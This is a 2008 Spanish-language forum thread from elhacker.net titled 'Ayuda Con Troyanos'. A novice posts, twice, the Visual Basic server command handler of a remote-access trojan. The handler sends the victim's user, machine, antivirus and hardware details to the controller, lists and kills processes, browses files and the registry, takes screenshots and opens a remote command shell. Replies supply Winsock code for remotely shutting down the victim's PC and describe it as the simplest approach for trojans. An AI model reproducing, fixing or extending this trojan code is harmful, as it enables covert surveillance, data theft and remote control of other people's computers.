elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Ayuda Con Troyanos
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda Con Troyanos  (Leído 1,927 veces)
Zaoner

Desconectado Desconectado

Mensajes: 20


Ver Perfil
Ayuda Con Troyanos
« en: 7 Noviembre 2008, 17:02 pm »

Hola soy muy novato en esto arranque hace muy poco...y me surge una duda... tengo un problema en el server en DataArrival

Code

Código:
Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)

Dim sData As String
Dim sHead As String

Dim iFData As Integer
Dim iRData As Integer

Dim sMParam() As String
Dim sDParam() As String

    DoEvents
    wskServer.GetData sData

    Debug.Print sData

    sHead = Left(sData, 10)
    sData = Right$(sData, Len(sData) - 10)

    sMParam = Split(sData, sDetailSplit)

    Select Case sHead
        Case "[GETSINFO]"
            wskServer.SendData "[SETSINFO]" & _
            "Syntax" & sDetailSplit & _
            Environ("username") & "  @ " & Environ("computername") & sDetailSplit & _
            IsNTAdmin(0&, 0&) & sDetailSplit & _
            Environ("os") & sDetailSplit & _
            GetCPUSpeedMHz & sDetailSplit & _
            MemoryAvailable & sDetailSplit & _
            GetCountryCode & sDetailSplit & _
            ".9"
        Case "[GETDINFO]"
            wskServer.SendData "[SETDINFO]" & _
            Environ("username") & sDetailSplit & _
            Environ("computername") & sDetailSplit & _
            Environ("os") & sDetailSplit & _
            CountryTag & sDetailSplit & _
            Split(GetFWAV, "|")(1) & sDetailSplit & _
            Split(GetFWAV, "|")(0) & sDetailSplit & _
            App.Path & sDetailSplit & _
            Environ("systemdrive") & sDetailSplit & _
            Environ("systemroot") & "\" & sDetailSplit & _
            GetProcessor & sDetailSplit & _
            GetCPUModel & sDetailSplit & _
            Split(MemoryAvailable, "|")(0) & sDetailSplit & _
            Split(MemoryAvailable, "|")(1) & sDetailSplit & _
            GetCamDrvs & sDetailSplit & _
            Screen.Width / Screen.TwipsPerPixelX & " x " & Screen.Height / Screen.TwipsPerPixelY
           
        Case "[GETPRCLT]"
            wskServer.SendData "[SETPRCLT]" & GetProcesses
        Case "[GETPRGLT]"
            wskServer.SendData "[SETPRGLT]" & GetInstalledApps
        Case "[GETSRVLT]"
            wskServer.SendData "[SETSRVLT]" & EnumerateServices
        Case "[GETMODLT]"
            wskServer.SendData "[SETMODLT]" & GetModules(CLng(sMParam(0)))
        Case "[GETWNDLT]"
            lstWindows = ""
            Call EnumWindows(AddressOf GetWindows, CLng(sMParam(0)))
            wskServer.SendData "[SETWNDLT]" & lstWindows
        Case "[GETPRCKL]"
            wskServer.SendData "[SETPRCKL]" & KillByPID(CLng(sMParam(0)))
        Case "[GETMODKL]"
            wskServer.SendData "[SETMODKL]" & UnInjectDll(sMParam(0), CLng(sMParam(1)))
        Case "[GETPRCPR]"
            wskServer.SendData "[SETPRCPR]" & SetProcessPriority(CLng(sMParam(0)), GetPriority(sMParam(1)))
        Case "[GETSRVST]"
            wskServer.SendData "[SETSRVST]" & ServiceControl(sMParam(0), CLng(sMParam(1)))
        'Case "[GETSRVSU]"
        '    wskServer.SendData "[SETSRVSU]" & SetServiceStartup(CLng(sMParam(0)), GetPriority(sMParam(1)))
        Case "[GETWNDOP]"
            Select Case sMParam(0)
                Case 0: sMParam(0) = SetWindow(CLng(sMParam(1)), 3)
                Case 1: sMParam(0) = SetWindow(CLng(sMParam(1)), 6)
                Case 2: sMParam(0) = SetWindow(CLng(sMParam(1)), 5)
                Case 3: sMParam(0) = SetWindow(CLng(sMParam(1)), 0)
                Case 4: sMParam(0) = CloseWindow(CLng(sMParam(1)))
                Case 5: sMParam(0) = ChangeWindowText(CLng(sMParam(1)), sMParam(2))
            End Select
            wskServer.SendData "[SETWNDOP]" & sMParam(0)
        Case "[GETFILES]"
            sData = EnumFiles(sMParam(0))
            If Len(sData) > 3072 Then
                sFData = sData
                While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
                    iFData = iFData + 1
                Wend
                wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
                DoEvents
                sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
            Else
                wskServer.SendData "[SETFILER]" + sData
            End If

        Case "[GETFILER]"
            If Len(sFData) > 3072 Then
                While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
                    iFData = iFData + 1
                Wend
                Sleep 100
                wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
                DoEvents
                sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
            Else
                wskServer.SendData "[SETFILER]" + sFData
            End If
       
        Case "[GETREGES]"
            sData = EnumKeysValues(sMParam(0), sMParam(1))
            If Len(sData) > 3072 Then
                sRData = sData
                While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
                    iRData = iRData + 1
                Wend
                wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
                DoEvents
                sRData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
            Else
                wskServer.SendData "[SETREGER]" + sData
            End If

        Case "[GETREGER]"
            If Len(sRData) > 3072 Then
                While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
                    iRData = iRData + 1
                Wend
                Sleep 100
                wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
                DoEvents
                sFData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
            Else
                wskServer.SendData "[SETREGER]" + sRData
            End If
           
           
        Case "[GETSCRST]"
            sData = GetScreenshot(-1, picScreenShot)
            MsgBox Len(sData)
            iSData = 0
            If Len(sData) > 3072 Then
                sSData = sData
                wskServer.SendData "[SETSCRST]" & Left(sData, 3072)
            Else
                wskServer.SendData "[SETSCRSR]" & sData
            End If
       
        Case "[GETSCRSR]"
            If Len(sSData) > 3072 Then
                iSData = iSData + 1
                wskServer.SendData "[SETSCRST]" & Mid(sSData, iSData * 3072, 3072)
                MsgBox iSData
            Else
                wskServer.SendData "[SETSCRSR]" & sData
            End If

        Case "[GETDRIVE]"
                wskServer.SendData "[SETDRIVE]" & EnumDrives
       
        Case "[FILESIZE]": wskServer.SendData "[SETSTRSD]"
           
        Case "[GETCOMND]"
            Select Case sMParam(0)
                Case 0
                 KillByPID DOS_PID
                 wskServer.SendData "[SETCOMND]" & 0
                Case 1
                 ExecuteCommand Environ("comspec")
                 wskServer.SendData "[SETCOMND]" & 1
                Case 2
                 WriteData sMParam(1)
            End Select

        End Select
       
       
End Sub


a la hora de poner un simple codigo que apague la pc seria En DataArrival

Código:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
If datos = "apagar" Then
Shell "shutdown -s -t 0"
End If
End Sub


y para el cliente seria

Código:
Private Sub Command2_Click()
Winsock1.SendData "apagar"
End Sub


pero no puedo hacer que funcione  :P :P :P :P


En línea

& eDu &


Desconectado Desconectado

Mensajes: 580



Ver Perfil
Re: Ayuda Con Troyanos
« Respuesta #1 en: 7 Noviembre 2008, 18:06 pm »

Mira utiliza el siguiente código.

En el servidor cuando recibes los datos pon
Código
  1. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
  2. Dim datos As String
  3. Dim dt() As String
  4. Winsock1.GetData datos
  5. dt = Split(datos,"|")
  6. Select case dt(0)
  7. Case "apagar"
  8. Shell "shutdown -s -t 0"
  9. End Select
  10. End Sub

ahora en el cliente cuando envias pon

Código
  1. Private Sub Command2_Click()
  2. Winsock1.SendData "apagar|"
  3. End Sub


En línea

Zaoner

Desconectado Desconectado

Mensajes: 20


Ver Perfil
Re: Ayuda Con Troyanos
« Respuesta #2 en: 7 Noviembre 2008, 19:06 pm »

ya intente y no hubo caso osea no se donde poner el codigo para apagar la pc en el dataarrival del server y el nombre es wskServer no Winsock1
En línea

Angeldj27

Desconectado Desconectado

Mensajes: 199


Ahorra Agua... Beba Cerveza


Ver Perfil
Re: Ayuda Con Troyanos
« Respuesta #3 en: 7 Noviembre 2008, 19:35 pm »

Citar

el nombre es wskServer no Winsock1

Si es asi como dices solo cambiale el name al objeto tambien quieres eso no me relajes, y si no me equivoco solo debes agregarle ese caso a tu server para poder enviarle la orden.

Saludos...
En línea



"Que vamos a hacer Mañana?..... Lo mismo que hacemos todos los dias Pinky tratar de Conquistar el Mundoooo!!!!!
Zaoner

Desconectado Desconectado

Mensajes: 20


Ver Perfil
Re: Ayuda Con Troyanos
« Respuesta #4 en: 7 Noviembre 2008, 19:45 pm »

si pero ya lo hice pero el problema es donde lo agrego en el dataarrival del server por que me tira error...... :-\ :-\

osea meter esto



Código:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
If datos = "apagar" Then
Shell "shutdown -s -t 0"
End If
End Sub



ACA DENTRO creo....o se agrega una nueva?

Código:
Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)

Dim sData As String
Dim sHead As String

Dim iFData As Integer
Dim iRData As Integer

Dim sMParam() As String
Dim sDParam() As String

    DoEvents
    wskServer.GetData sData

    Debug.Print sData

    sHead = Left(sData, 10)
    sData = Right$(sData, Len(sData) - 10)

    sMParam = Split(sData, sDetailSplit)

    Select Case sHead
        Case "[GETSINFO]"
            wskServer.SendData "[SETSINFO]" & _
            "Syntax" & sDetailSplit & _
            Environ("username") & "  @ " & Environ("computername") & sDetailSplit & _
            IsNTAdmin(0&, 0&) & sDetailSplit & _
            Environ("os") & sDetailSplit & _
            GetCPUSpeedMHz & sDetailSplit & _
            MemoryAvailable & sDetailSplit & _
            GetCountryCode & sDetailSplit & _
            ".9"
        Case "[GETDINFO]"
            wskServer.SendData "[SETDINFO]" & _
            Environ("username") & sDetailSplit & _
            Environ("computername") & sDetailSplit & _
            Environ("os") & sDetailSplit & _
            CountryTag & sDetailSplit & _
            Split(GetFWAV, "|")(1) & sDetailSplit & _
            Split(GetFWAV, "|")(0) & sDetailSplit & _
            App.Path & sDetailSplit & _
            Environ("systemdrive") & sDetailSplit & _
            Environ("systemroot") & "\" & sDetailSplit & _
            GetProcessor & sDetailSplit & _
            GetCPUModel & sDetailSplit & _
            Split(MemoryAvailable, "|")(0) & sDetailSplit & _
            Split(MemoryAvailable, "|")(1) & sDetailSplit & _
            GetCamDrvs & sDetailSplit & _
            Screen.Width / Screen.TwipsPerPixelX & " x " & Screen.Height / Screen.TwipsPerPixelY
           
        Case "[GETPRCLT]"
            wskServer.SendData "[SETPRCLT]" & GetProcesses
        Case "[GETPRGLT]"
            wskServer.SendData "[SETPRGLT]" & GetInstalledApps
        Case "[GETSRVLT]"
            wskServer.SendData "[SETSRVLT]" & EnumerateServices
        Case "[GETMODLT]"
            wskServer.SendData "[SETMODLT]" & GetModules(CLng(sMParam(0)))
        Case "[GETWNDLT]"
            lstWindows = ""
            Call EnumWindows(AddressOf GetWindows, CLng(sMParam(0)))
            wskServer.SendData "[SETWNDLT]" & lstWindows
        Case "[GETPRCKL]"
            wskServer.SendData "[SETPRCKL]" & KillByPID(CLng(sMParam(0)))
        Case "[GETMODKL]"
            wskServer.SendData "[SETMODKL]" & UnInjectDll(sMParam(0), CLng(sMParam(1)))
        Case "[GETPRCPR]"
            wskServer.SendData "[SETPRCPR]" & SetProcessPriority(CLng(sMParam(0)), GetPriority(sMParam(1)))
        Case "[GETSRVST]"
            wskServer.SendData "[SETSRVST]" & ServiceControl(sMParam(0), CLng(sMParam(1)))
        'Case "[GETSRVSU]"
        '    wskServer.SendData "[SETSRVSU]" & SetServiceStartup(CLng(sMParam(0)), GetPriority(sMParam(1)))
        Case "[GETWNDOP]"
            Select Case sMParam(0)
                Case 0: sMParam(0) = SetWindow(CLng(sMParam(1)), 3)
                Case 1: sMParam(0) = SetWindow(CLng(sMParam(1)), 6)
                Case 2: sMParam(0) = SetWindow(CLng(sMParam(1)), 5)
                Case 3: sMParam(0) = SetWindow(CLng(sMParam(1)), 0)
                Case 4: sMParam(0) = CloseWindow(CLng(sMParam(1)))
                Case 5: sMParam(0) = ChangeWindowText(CLng(sMParam(1)), sMParam(2))
            End Select
            wskServer.SendData "[SETWNDOP]" & sMParam(0)
        Case "[GETFILES]"
            sData = EnumFiles(sMParam(0))
            If Len(sData) > 3072 Then
                sFData = sData
                While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
                    iFData = iFData + 1
                Wend
                wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
                DoEvents
                sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
            Else
                wskServer.SendData "[SETFILER]" + sData
            End If

        Case "[GETFILER]"
            If Len(sFData) > 3072 Then
                While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
                    iFData = iFData + 1
                Wend
                Sleep 100
                wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
                DoEvents
                sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
            Else
                wskServer.SendData "[SETFILER]" + sFData
            End If
       
        Case "[GETREGES]"
            sData = EnumKeysValues(sMParam(0), sMParam(1))
            If Len(sData) > 3072 Then
                sRData = sData
                While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
                    iRData = iRData + 1
                Wend
                wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
                DoEvents
                sRData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
            Else
                wskServer.SendData "[SETREGER]" + sData
            End If

        Case "[GETREGER]"
            If Len(sRData) > 3072 Then
                While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
                    iRData = iRData + 1
                Wend
                Sleep 100
                wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
                DoEvents
                sFData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
            Else
                wskServer.SendData "[SETREGER]" + sRData
            End If
           
           
        Case "[GETSCRST]"
            sData = GetScreenshot(-1, picScreenShot)
            MsgBox Len(sData)
            iSData = 0
            If Len(sData) > 3072 Then
                sSData = sData
                wskServer.SendData "[SETSCRST]" & Left(sData, 3072)
            Else
                wskServer.SendData "[SETSCRSR]" & sData
            End If
       
        Case "[GETSCRSR]"
            If Len(sSData) > 3072 Then
                iSData = iSData + 1
                wskServer.SendData "[SETSCRST]" & Mid(sSData, iSData * 3072, 3072)
                MsgBox iSData
            Else
                wskServer.SendData "[SETSCRSR]" & sData
            End If

        Case "[GETDRIVE]"
                wskServer.SendData "[SETDRIVE]" & EnumDrives
       
        Case "[FILESIZE]": wskServer.SendData "[SETSTRSD]"
           
        Case "[GETCOMND]"
            Select Case sMParam(0)
                Case 0
                 KillByPID DOS_PID
                 wskServer.SendData "[SETCOMND]" & 0
                Case 1
                 ExecuteCommand Environ("comspec")
                 wskServer.SendData "[SETCOMND]" & 1
                Case 2
                 WriteData sMParam(1)
            End Select

        End Select
       
       
End Sub

« Última modificación: 7 Noviembre 2008, 19:54 pm por Zaoner » En línea

Zaoner

Desconectado Desconectado

Mensajes: 20


Ver Perfil
Re: Ayuda Con Troyanos
« Respuesta #5 en: 7 Noviembre 2008, 20:34 pm »

ya lo e vuelto a probar y no funciona no se como hacerlo... :-\ :-\ :-\
En línea

vivachapas


Desconectado Desconectado

Mensajes: 612



Ver Perfil
Re: Ayuda Con Troyanos
« Respuesta #6 en: 7 Noviembre 2008, 20:54 pm »

mmmm me parece q hiciste un ALTO copy paste xD

no se mi consejo es q te leas un manual.. y no empiezes con cosas tan dificiles...
lo q queres hacer es una pavada xD... y no puede ser q si hiciste el code de antes no te salga eso! :S

SALUDOS
En línea

Zaoner

Desconectado Desconectado

Mensajes: 20


Ver Perfil
Re: Ayuda Con Troyanos
« Respuesta #7 en: 7 Noviembre 2008, 21:00 pm »

no no el code no lo hice yo por eso es que no lo puedo lograr hacer  :-\
En línea

& eDu &


Desconectado Desconectado

Mensajes: 580



Ver Perfil
Re: Ayuda Con Troyanos
« Respuesta #8 en: 7 Noviembre 2008, 21:07 pm »

no no el code no lo hice yo por eso es que no lo puedo lograr hacer  :-\
Utiliza el código que te deje anteriormente ! Es el más sencillo para los troyanos.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ayuda : como protejerse de troyanos y arp spoofers
Seguridad
javiom 2 1,748 Último mensaje 15 Septiembre 2013, 18:44 pm
por javiom
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines